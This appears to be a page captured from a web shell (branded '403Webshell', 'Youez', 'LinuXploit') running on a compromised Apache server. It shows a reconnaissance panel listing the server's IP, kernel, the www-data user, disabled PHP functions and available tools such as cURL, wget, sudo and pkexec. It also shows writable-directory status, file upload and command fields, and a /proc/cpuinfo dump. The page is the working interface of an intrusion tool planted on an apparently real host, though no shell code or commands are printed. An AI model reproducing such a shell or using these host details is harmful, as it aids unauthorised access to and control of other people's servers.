403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/cpuinfo
processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 1
model name	: AMD EPYC 7571
stepping	: 2
microcode	: 0x8001279
cpu MHz		: 2199.992
cache size	: 512 KB
physical id	: 0
siblings	: 2
core id		: 0
cpu cores	: 1
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl nonstop_tsc cpuid extd_apicid tsc_known_freq pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy cr8_legacy abm sse4a misalignsse 3dnowprefetch topoext vmmcall fsgsbase bmi1 avx2 smep bmi2 rdseed adx smap clflushopt sha_ni xsaveopt xsavec xgetbv1 clzero xsaveerptr arat npt nrip_save
bugs		: sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass retbleed smt_rsb srso div0
bogomips	: 4399.98
TLB size	: 2560 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 48 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 1
model name	: AMD EPYC 7571
stepping	: 2
microcode	: 0x8001279
cpu MHz		: 2199.992
cache size	: 512 KB
physical id	: 0
siblings	: 2
core id		: 0
cpu cores	: 1
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl nonstop_tsc cpuid extd_apicid tsc_known_freq pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy cr8_legacy abm sse4a misalignsse 3dnowprefetch topoext vmmcall fsgsbase bmi1 avx2 smep bmi2 rdseed adx smap clflushopt sha_ni xsaveopt xsavec xgetbv1 clzero xsaveerptr arat npt nrip_save
bugs		: sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass retbleed smt_rsb srso div0
bogomips	: 4399.98
TLB size	: 2560 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 48 bits physical, 48 bits virtual
power management:


Youez - 2016 - github.com/yon3zu
LinuXploit